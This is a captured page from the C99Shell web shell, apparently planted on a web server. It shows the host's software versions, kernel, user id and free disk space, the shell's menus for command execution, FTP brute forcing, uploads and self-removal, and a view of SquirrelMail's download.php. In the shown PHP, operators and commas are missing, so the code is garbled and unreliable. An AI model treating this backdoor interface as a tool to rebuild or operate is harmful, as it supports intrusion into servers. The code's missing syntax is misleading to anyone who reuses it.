!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/usr/local/webmail2/src/   drwxr-xr-x
Free 318.38 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     download.php (5.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * download.php
 *
 * Handles attachment downloads to the users computer.
 * Also allows displaying of attachments when possible.
 *
 * @copyright &copy; 1999-2006 The SquirrelMail Project Team
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 * @version $Id: download.php,v 1.130 2006/01/23 18:43:28 tokul Exp $
 * @package squirrelmail
 */

/**
 * Path for SquirrelMail required files.
 * @ignore
 */
define('SM_PATH','../');

/* SquirrelMail required files. */
require_once(SM_PATH 'include/validate.php');
require_once(
SM_PATH 'functions/imap.php');
require_once(
SM_PATH 'functions/mime.php');

header('Pragma: ');
header('Cache-Control: cache');

/* globals */
sqgetGlobalVar('key',        $key,          SQ_COOKIE);
sqgetGlobalVar('username',   $username,     SQ_SESSION);
sqgetGlobalVar('onetimepad'$onetimepad,   SQ_SESSION);
sqgetGlobalVar('mailbox_cache',$mailbox_cache,SQ_SESSION);
sqgetGlobalVar('messages',   $messages,     SQ_SESSION);
sqgetGlobalVar('mailbox',    $mailbox,      SQ_GET);
sqgetGlobalVar('ent_id',     $ent_id,       SQ_GET);
sqgetGlobalVar('absolute_dl',$absolute_dl,  SQ_GET);
if ( 
sqgetGlobalVar('passed_id'$tempSQ_GET) ) {
    
$passed_id = (int) $temp;
}
if (!
sqgetGlobalVar('account'$accountSQ_GET) ) {
    
$account 0;
}

global 
$default_charset;
set_my_charset();

/* end globals */

$imapConnection sqimap_login($username$key$imapServerAddress$imapPort0);
$aMailbox sqm_api_mailbox_select($imapConnection$account$mailbox,array(),array());

if (isset(
$aMailbox['MSG_HEADERS'][$passed_id]['MESSAGE_OBJECT']) &&
    
is_object($aMailbox['MSG_HEADERS'][$passed_id]['MESSAGE_OBJECT']) ) {
    
$message $aMailbox['MSG_HEADERS'][$passed_id]['MESSAGE_OBJECT'];
} else {
   
$message sqimap_get_message($imapConnection$passed_id$mailbox);
   
$aMailbox['MSG_HEADERS'][$passed_id]['MESSAGE_OBJECT'] = $message;
}

//$mbx_response =  sqimap_mailbox_select($imapConnection, $mailbox);

//$message = &$messages[$mbx_response['UIDVALIDITY']]["$passed_id"];
//if (!is_object($message)) {
//    $message = sqimap_get_message($imapConnection,$passed_id, $mailbox);
//}
$subject $message->rfc822_header->subject;
if (
$ent_id) {
    
// replace message with message part, if message part is requested.
    
$message $message->getEntity($ent_id);
    
$header $message->header;

    if (
$message->rfc822_header) {
       
$subject $message->rfc822_header->subject;
    } else {
       
$header $message->header;
    }
    
$type0 $header->type0;
    
$type1 $header->type1;
    
$encoding strtolower($header->encoding);
} else {
    
/* raw message */
    
$type0 'message';
    
$type1 'rfc822';
    
$encoding 'US-ASCII';
    
$header $message->header;
}

/*
 * lets redefine message as this particular entity that we wish to display.
 * it should hold only the header for this entity.  We need to fetch the body
 * yet before we can display anything.
 */

if (isset($override_type0)) {
    
$type0 $override_type0;
}
if (isset(
$override_type1)) {
    
$type1 $override_type1;
}
$filename '';
if (
is_object($message->header->disposition)) {
    
$filename $header->disposition->getProperty('filename');
    if (!
$filename) {
        
$filename $header->disposition->getProperty('name');
    }
    if (!
$filename) {
        
$filename $header->getParameter('name');
    }
} else {
    
$filename $header->getParameter('name');
}

$filename decodeHeader($filename,true,false);
$filename charset_encode($filename,$default_charset,false);

// If name is not set, use subject of email
if (strlen($filename) < 1) {
    
$filename decodeHeader($subjecttruetrue);
    
$filename charset_encode($filename,$default_charset,false);
    if (
$type1 == 'plain' && $type0 == 'text')
        
$suffix 'txt';
    else if (
$type1 == 'richtext' && $type0 == 'text')
        
$suffix 'rtf';
    else if (
$type1 == 'postscript' && $type0 == 'application')
        
$suffix 'ps';
    else if (
$type1 == 'rfc822' && $type0 == 'message')
        
$suffix 'msg';
    else
        
$suffix $type1;

    if (
$filename == '')
        
$filename 'untitled' strip_tags($ent_id);
    
$filename $filename '.' $suffix;
}

/*
 * Note:
 *    The following sections display the attachment in different
 *    ways depending on how they choose.  The first way will download
 *    under any circumstance.  This sets the Content-type to be
 *    applicatin/octet-stream, which should be interpreted by the
 *    browser as "download me".
 *      The second method (view) is used for images or other formats
 *    that should be able to be handled by the browser.  It will
 *    most likely display the attachment inline inside the browser.
 *      And finally, the third one will be used by default.  If it
 *    is displayable (text or html), it will load them up in a text
 *    viewer (built in to SquirrelMail).  Otherwise, it sets the
 *    content-type as application/octet-stream
 */
if (isset($absolute_dl) && $absolute_dl) {
    
SendDownloadHeaders($type0$type1$filename1);
} else {
    
SendDownloadHeaders($type0$type1$filename0);
}
/* be aware that any warning caused by download.php will corrupt the
 * attachment in case of ERROR reporting = E_ALL and the output is the screen */
mime_print_body_lines ($imapConnection$passed_id$ent_id$encoding);
$mailbox_cache[$aMailbox['NAME']] = $aMailbox;
sqsession_register($mailbox_cache,'mailbox_cache');

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0101 ]--